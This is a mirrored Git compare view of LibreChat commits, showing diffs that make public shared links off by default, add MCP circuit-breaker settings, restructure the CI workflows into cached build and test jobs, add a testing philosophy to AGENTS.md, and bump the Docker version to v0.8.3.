mirror of
https://github.com/danny-avila/LibreChat.git
synced 2026-03-15 20:26:33 +01:00
Compare commits
41 commits
chart-1.9.
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
cbdc6f6060 | ||
|
|
f67bbb2bc5 | ||
|
|
35a35dc2e9 | ||
|
|
c6982dc180 | ||
|
|
71a3b48504 | ||
|
|
189cdf581d | ||
|
|
ca79a03135 | ||
|
|
fa9e1b228a | ||
|
|
f32907cd36 | ||
|
|
65b0bfde1b | ||
|
|
3ddf62c8e5 | ||
|
|
fc6f7a337d | ||
|
|
9a5d7eaa4e | ||
|
|
fcb344da47 | ||
|
|
6167ce6e57 | ||
|
|
c0e876a2e6 | ||
|
|
eb6328c1d9 | ||
|
|
ad5c51f62b | ||
|
|
cfbe812d63 | ||
|
|
9cf389715a | ||
|
|
873f446f8e | ||
|
|
32cadb1cc5 | ||
|
|
8b18a16446 | ||
|
|
4a8a5b5994 | ||
|
|
2ac62a2e71 | ||
|
|
cfaa6337c1 | ||
|
|
b93d60c416 | ||
|
|
6d0938be64 | ||
|
|
cc3d62c640 | ||
|
|
3a73907daa | ||
|
|
771227ecf9 | ||
|
|
a79f7cebd5 | ||
|
|
3b84cc048a | ||
|
|
5209f1dc9e | ||
|
|
c324a8d9e4 | ||
|
|
d74a62ecd5 | ||
|
|
9956a72694 | ||
|
|
afb35103f1 | ||
|
|
0ef369af9b | ||
|
|
956f8fb6f0 | ||
|
|
c6dba9f0a1 |
253 changed files with 18960 additions and 7306 deletions
24
.env.example
24
.env.example
|
|
@ -677,7 +677,8 @@ AZURE_CONTAINER_NAME=files
|
||||||
#========================#
|
#========================#
|
||||||
|
|
||||||
ALLOW_SHARED_LINKS=true
|
ALLOW_SHARED_LINKS=true
|
||||||
ALLOW_SHARED_LINKS_PUBLIC=true
|
# Allows unauthenticated access to shared links. Defaults to false (auth required) if not set.
|
||||||
|
ALLOW_SHARED_LINKS_PUBLIC=false
|
||||||
|
|
||||||
#==============================#
|
#==============================#
|
||||||
# Static File Cache Control #
|
# Static File Cache Control #
|
||||||
|
|
@ -849,3 +850,24 @@ OPENWEATHER_API_KEY=
|
||||||
# Skip code challenge method validation (e.g., for AWS Cognito that supports S256 but doesn't advertise it)
|
# Skip code challenge method validation (e.g., for AWS Cognito that supports S256 but doesn't advertise it)
|
||||||
# When set to true, forces S256 code challenge even if not advertised in .well-known/openid-configuration
|
# When set to true, forces S256 code challenge even if not advertised in .well-known/openid-configuration
|
||||||
# MCP_SKIP_CODE_CHALLENGE_CHECK=false
|
# MCP_SKIP_CODE_CHALLENGE_CHECK=false
|
||||||
|
|
||||||
|
# Circuit breaker: max connect/disconnect cycles before tripping (per server)
|
||||||
|
# MCP_CB_MAX_CYCLES=7
|
||||||
|
|
||||||
|
# Circuit breaker: sliding window (ms) for counting cycles
|
||||||
|
# MCP_CB_CYCLE_WINDOW_MS=45000
|
||||||
|
|
||||||
|
# Circuit breaker: cooldown (ms) after the cycle breaker trips
|
||||||
|
# MCP_CB_CYCLE_COOLDOWN_MS=15000
|
||||||
|
|
||||||
|
# Circuit breaker: max consecutive failed connection rounds before backoff
|
||||||
|
# MCP_CB_MAX_FAILED_ROUNDS=3
|
||||||
|
|
||||||
|
# Circuit breaker: sliding window (ms) for counting failed rounds
|
||||||
|
# MCP_CB_FAILED_WINDOW_MS=120000
|
||||||
|
|
||||||
|
# Circuit breaker: base backoff (ms) after failed round threshold is reached
|
||||||
|
# MCP_CB_BASE_BACKOFF_MS=30000
|
||||||
|
|
||||||
|
# Circuit breaker: max backoff cap (ms) for exponential backoff
|
||||||
|
# MCP_CB_MAX_BACKOFF_MS=300000
|
||||||
|
|
|
||||||
333
.github/workflows/backend-review.yml
vendored
333
.github/workflows/backend-review.yml
vendored
|
|
@ -9,40 +9,136 @@ on:
|
||||||
paths:
|
paths:
|
||||||
- 'api/**'
|
- 'api/**'
|
||||||
- 'packages/**'
|
- 'packages/**'
|
||||||
|
|
||||||
|
env:
|
||||||
|
NODE_ENV: CI
|
||||||
|
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
tests_Backend:
|
build:
|
||||||
name: Run Backend unit tests
|
name: Build packages
|
||||||
timeout-minutes: 60
|
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
env:
|
timeout-minutes: 15
|
||||||
MONGO_URI: ${{ secrets.MONGO_URI }}
|
|
||||||
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
|
|
||||||
JWT_SECRET: ${{ secrets.JWT_SECRET }}
|
|
||||||
CREDS_KEY: ${{ secrets.CREDS_KEY }}
|
|
||||||
CREDS_IV: ${{ secrets.CREDS_IV }}
|
|
||||||
BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
|
|
||||||
BAN_DURATION: ${{ secrets.BAN_DURATION }}
|
|
||||||
BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
|
|
||||||
NODE_ENV: CI
|
|
||||||
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- name: Use Node.js 20.x
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
uses: actions/setup-node@v4
|
uses: actions/setup-node@v4
|
||||||
with:
|
with:
|
||||||
node-version: 20
|
node-version: '20.19'
|
||||||
cache: 'npm'
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
api/node_modules
|
||||||
|
packages/api/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
packages/data-schemas/node_modules
|
||||||
|
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
- name: Install dependencies
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
run: npm ci
|
run: npm ci
|
||||||
|
|
||||||
- name: Install Data Provider Package
|
- name: Restore data-provider build cache
|
||||||
|
id: cache-data-provider
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
|
||||||
|
|
||||||
|
- name: Build data-provider
|
||||||
|
if: steps.cache-data-provider.outputs.cache-hit != 'true'
|
||||||
run: npm run build:data-provider
|
run: npm run build:data-provider
|
||||||
|
|
||||||
- name: Install Data Schemas Package
|
- name: Restore data-schemas build cache
|
||||||
|
id: cache-data-schemas
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: packages/data-schemas/dist
|
||||||
|
key: build-data-schemas-${{ runner.os }}-${{ hashFiles('packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
|
||||||
|
|
||||||
|
- name: Build data-schemas
|
||||||
|
if: steps.cache-data-schemas.outputs.cache-hit != 'true'
|
||||||
run: npm run build:data-schemas
|
run: npm run build:data-schemas
|
||||||
|
|
||||||
- name: Build API Package & Detect Circular Dependencies
|
- name: Restore api build cache
|
||||||
|
id: cache-api
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: packages/api/dist
|
||||||
|
key: build-api-${{ runner.os }}-${{ hashFiles('packages/api/src/**', 'packages/api/tsconfig*.json', 'packages/api/server-rollup.config.js', 'packages/api/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json', 'packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json') }}
|
||||||
|
|
||||||
|
- name: Build api
|
||||||
|
if: steps.cache-api.outputs.cache-hit != 'true'
|
||||||
|
run: npm run build:api
|
||||||
|
|
||||||
|
- name: Upload data-provider build
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
retention-days: 2
|
||||||
|
|
||||||
|
- name: Upload data-schemas build
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-schemas
|
||||||
|
path: packages/data-schemas/dist
|
||||||
|
retention-days: 2
|
||||||
|
|
||||||
|
- name: Upload api build
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-api
|
||||||
|
path: packages/api/dist
|
||||||
|
retention-days: 2
|
||||||
|
|
||||||
|
circular-deps:
|
||||||
|
name: Circular dependency checks
|
||||||
|
needs: build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 10
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '20.19'
|
||||||
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
api/node_modules
|
||||||
|
packages/api/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
packages/data-schemas/node_modules
|
||||||
|
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
|
- name: Download data-provider build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
|
||||||
|
- name: Download data-schemas build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-schemas
|
||||||
|
path: packages/data-schemas/dist
|
||||||
|
|
||||||
|
- name: Rebuild @librechat/api and check for circular dependencies
|
||||||
run: |
|
run: |
|
||||||
output=$(npm run build:api 2>&1)
|
output=$(npm run build:api 2>&1)
|
||||||
echo "$output"
|
echo "$output"
|
||||||
|
|
@ -51,12 +147,7 @@ jobs:
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
- name: Create empty auth.json file
|
- name: Detect circular dependencies in rollup
|
||||||
run: |
|
|
||||||
mkdir -p api/data
|
|
||||||
echo '{}' > api/data/auth.json
|
|
||||||
|
|
||||||
- name: Check for Circular dependency in rollup
|
|
||||||
working-directory: ./packages/data-provider
|
working-directory: ./packages/data-provider
|
||||||
run: |
|
run: |
|
||||||
output=$(npm run rollup:api)
|
output=$(npm run rollup:api)
|
||||||
|
|
@ -66,17 +157,201 @@ jobs:
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
test-api:
|
||||||
|
name: 'Tests: api'
|
||||||
|
needs: build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 15
|
||||||
|
env:
|
||||||
|
MONGO_URI: ${{ secrets.MONGO_URI }}
|
||||||
|
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
|
||||||
|
JWT_SECRET: ${{ secrets.JWT_SECRET }}
|
||||||
|
CREDS_KEY: ${{ secrets.CREDS_KEY }}
|
||||||
|
CREDS_IV: ${{ secrets.CREDS_IV }}
|
||||||
|
BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
|
||||||
|
BAN_DURATION: ${{ secrets.BAN_DURATION }}
|
||||||
|
BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '20.19'
|
||||||
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
api/node_modules
|
||||||
|
packages/api/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
packages/data-schemas/node_modules
|
||||||
|
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
|
- name: Download data-provider build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
|
||||||
|
- name: Download data-schemas build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-schemas
|
||||||
|
path: packages/data-schemas/dist
|
||||||
|
|
||||||
|
- name: Download api build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-api
|
||||||
|
path: packages/api/dist
|
||||||
|
|
||||||
|
- name: Create empty auth.json file
|
||||||
|
run: |
|
||||||
|
mkdir -p api/data
|
||||||
|
echo '{}' > api/data/auth.json
|
||||||
|
|
||||||
- name: Prepare .env.test file
|
- name: Prepare .env.test file
|
||||||
run: cp api/test/.env.test.example api/test/.env.test
|
run: cp api/test/.env.test.example api/test/.env.test
|
||||||
|
|
||||||
- name: Run unit tests
|
- name: Run unit tests
|
||||||
run: cd api && npm run test:ci
|
run: cd api && npm run test:ci
|
||||||
|
|
||||||
- name: Run librechat-data-provider unit tests
|
test-data-provider:
|
||||||
|
name: 'Tests: data-provider'
|
||||||
|
needs: build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 10
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '20.19'
|
||||||
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
api/node_modules
|
||||||
|
packages/api/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
packages/data-schemas/node_modules
|
||||||
|
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
|
- name: Download data-provider build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
|
||||||
|
- name: Run unit tests
|
||||||
run: cd packages/data-provider && npm run test:ci
|
run: cd packages/data-provider && npm run test:ci
|
||||||
|
|
||||||
- name: Run @librechat/data-schemas unit tests
|
test-data-schemas:
|
||||||
|
name: 'Tests: data-schemas'
|
||||||
|
needs: build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 10
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '20.19'
|
||||||
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
api/node_modules
|
||||||
|
packages/api/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
packages/data-schemas/node_modules
|
||||||
|
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
|
- name: Download data-provider build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
|
||||||
|
- name: Download data-schemas build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-schemas
|
||||||
|
path: packages/data-schemas/dist
|
||||||
|
|
||||||
|
- name: Run unit tests
|
||||||
run: cd packages/data-schemas && npm run test:ci
|
run: cd packages/data-schemas && npm run test:ci
|
||||||
|
|
||||||
- name: Run @librechat/api unit tests
|
test-packages-api:
|
||||||
|
name: 'Tests: @librechat/api'
|
||||||
|
needs: build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 10
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '20.19'
|
||||||
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
api/node_modules
|
||||||
|
packages/api/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
packages/data-schemas/node_modules
|
||||||
|
key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
|
- name: Download data-provider build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
|
||||||
|
- name: Download data-schemas build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-schemas
|
||||||
|
path: packages/data-schemas/dist
|
||||||
|
|
||||||
|
- name: Download api build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-api
|
||||||
|
path: packages/api/dist
|
||||||
|
|
||||||
|
- name: Run unit tests
|
||||||
run: cd packages/api && npm run test:ci
|
run: cd packages/api && npm run test:ci
|
||||||
|
|
|
||||||
193
.github/workflows/frontend-review.yml
vendored
193
.github/workflows/frontend-review.yml
vendored
|
|
@ -2,7 +2,7 @@ name: Frontend Unit Tests
|
||||||
|
|
||||||
on:
|
on:
|
||||||
pull_request:
|
pull_request:
|
||||||
branches:
|
branches:
|
||||||
- main
|
- main
|
||||||
- dev
|
- dev
|
||||||
- dev-staging
|
- dev-staging
|
||||||
|
|
@ -11,51 +11,200 @@ on:
|
||||||
- 'client/**'
|
- 'client/**'
|
||||||
- 'packages/data-provider/**'
|
- 'packages/data-provider/**'
|
||||||
|
|
||||||
|
env:
|
||||||
|
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
tests_frontend_ubuntu:
|
build:
|
||||||
name: Run frontend unit tests on Ubuntu
|
name: Build packages
|
||||||
timeout-minutes: 60
|
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
env:
|
timeout-minutes: 15
|
||||||
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- name: Use Node.js 20.x
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
uses: actions/setup-node@v4
|
uses: actions/setup-node@v4
|
||||||
with:
|
with:
|
||||||
node-version: 20
|
node-version: '20.19'
|
||||||
cache: 'npm'
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
client/node_modules
|
||||||
|
packages/client/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
- name: Install dependencies
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
run: npm ci
|
run: npm ci
|
||||||
|
|
||||||
- name: Build Client
|
- name: Restore data-provider build cache
|
||||||
run: npm run frontend:ci
|
id: cache-data-provider
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
|
||||||
|
|
||||||
|
- name: Build data-provider
|
||||||
|
if: steps.cache-data-provider.outputs.cache-hit != 'true'
|
||||||
|
run: npm run build:data-provider
|
||||||
|
|
||||||
|
- name: Restore client-package build cache
|
||||||
|
id: cache-client-package
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: packages/client/dist
|
||||||
|
key: build-client-package-${{ runner.os }}-${{ hashFiles('packages/client/src/**', 'packages/client/tsconfig*.json', 'packages/client/rollup.config.js', 'packages/client/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
|
||||||
|
|
||||||
|
- name: Build client-package
|
||||||
|
if: steps.cache-client-package.outputs.cache-hit != 'true'
|
||||||
|
run: npm run build:client-package
|
||||||
|
|
||||||
|
- name: Upload data-provider build
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
retention-days: 2
|
||||||
|
|
||||||
|
- name: Upload client-package build
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-client-package
|
||||||
|
path: packages/client/dist
|
||||||
|
retention-days: 2
|
||||||
|
|
||||||
|
test-ubuntu:
|
||||||
|
name: 'Tests: Ubuntu'
|
||||||
|
needs: build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 15
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '20.19'
|
||||||
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
client/node_modules
|
||||||
|
packages/client/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
|
- name: Download data-provider build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
|
||||||
|
- name: Download client-package build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-client-package
|
||||||
|
path: packages/client/dist
|
||||||
|
|
||||||
- name: Run unit tests
|
- name: Run unit tests
|
||||||
run: npm run test:ci --verbose
|
run: npm run test:ci --verbose
|
||||||
working-directory: client
|
working-directory: client
|
||||||
|
|
||||||
tests_frontend_windows:
|
test-windows:
|
||||||
name: Run frontend unit tests on Windows
|
name: 'Tests: Windows'
|
||||||
timeout-minutes: 60
|
needs: build
|
||||||
runs-on: windows-latest
|
runs-on: windows-latest
|
||||||
env:
|
timeout-minutes: 20
|
||||||
NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- name: Use Node.js 20.x
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
uses: actions/setup-node@v4
|
uses: actions/setup-node@v4
|
||||||
with:
|
with:
|
||||||
node-version: 20
|
node-version: '20.19'
|
||||||
cache: 'npm'
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
client/node_modules
|
||||||
|
packages/client/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
- name: Install dependencies
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
run: npm ci
|
run: npm ci
|
||||||
|
|
||||||
- name: Build Client
|
- name: Download data-provider build
|
||||||
run: npm run frontend:ci
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
|
||||||
|
- name: Download client-package build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-client-package
|
||||||
|
path: packages/client/dist
|
||||||
|
|
||||||
- name: Run unit tests
|
- name: Run unit tests
|
||||||
run: npm run test:ci --verbose
|
run: npm run test:ci --verbose
|
||||||
working-directory: client
|
working-directory: client
|
||||||
|
|
||||||
|
build-verify:
|
||||||
|
name: Vite build verification
|
||||||
|
needs: build
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
timeout-minutes: 15
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Use Node.js 20.19
|
||||||
|
uses: actions/setup-node@v4
|
||||||
|
with:
|
||||||
|
node-version: '20.19'
|
||||||
|
|
||||||
|
- name: Restore node_modules cache
|
||||||
|
id: cache-node-modules
|
||||||
|
uses: actions/cache@v4
|
||||||
|
with:
|
||||||
|
path: |
|
||||||
|
node_modules
|
||||||
|
client/node_modules
|
||||||
|
packages/client/node_modules
|
||||||
|
packages/data-provider/node_modules
|
||||||
|
key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
if: steps.cache-node-modules.outputs.cache-hit != 'true'
|
||||||
|
run: npm ci
|
||||||
|
|
||||||
|
- name: Download data-provider build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-data-provider
|
||||||
|
path: packages/data-provider/dist
|
||||||
|
|
||||||
|
- name: Download client-package build
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: build-client-package
|
||||||
|
path: packages/client/dist
|
||||||
|
|
||||||
|
- name: Build client
|
||||||
|
run: cd client && npm run build:ci
|
||||||
|
|
|
||||||
10
AGENTS.md
10
AGENTS.md
|
|
@ -149,7 +149,15 @@ Multi-line imports count total character length across all lines. Consolidate va
|
||||||
- Run tests from their workspace directory: `cd api && npx jest <pattern>`, `cd packages/api && npx jest <pattern>`, etc.
|
- Run tests from their workspace directory: `cd api && npx jest <pattern>`, `cd packages/api && npx jest <pattern>`, etc.
|
||||||
- Frontend tests: `__tests__` directories alongside components; use `test/layout-test-utils` for rendering.
|
- Frontend tests: `__tests__` directories alongside components; use `test/layout-test-utils` for rendering.
|
||||||
- Cover loading, success, and error states for UI/data flows.
|
- Cover loading, success, and error states for UI/data flows.
|
||||||
- Mock data-provider hooks and external dependencies.
|
|
||||||
|
### Philosophy
|
||||||
|
|
||||||
|
- **Real logic over mocks.** Exercise actual code paths with real dependencies. Mocking is a last resort.
|
||||||
|
- **Spies over mocks.** Assert that real functions are called with expected arguments and frequency without replacing underlying logic.
|
||||||
|
- **MongoDB**: use `mongodb-memory-server` for a real in-memory MongoDB instance. Test actual queries and schema validation, not mocked DB calls.
|
||||||
|
- **MCP**: use real `@modelcontextprotocol/sdk` exports for servers, transports, and tool definitions. Mirror real scenarios, don't stub SDK internals.
|
||||||
|
- Only mock what you cannot control: external HTTP APIs, rate-limited services, non-deterministic system calls.
|
||||||
|
- Heavy mocking is a code smell, not a testing strategy.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,4 @@
|
||||||
# v0.8.3-rc2
|
# v0.8.3
|
||||||
|
|
||||||
# Base node image
|
# Base node image
|
||||||
FROM node:20-alpine AS node
|
FROM node:20-alpine AS node
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,5 @@
|
||||||
# Dockerfile.multi
|
# Dockerfile.multi
|
||||||
# v0.8.3-rc2
|
# v0.8.3
|
||||||
|
|
||||||
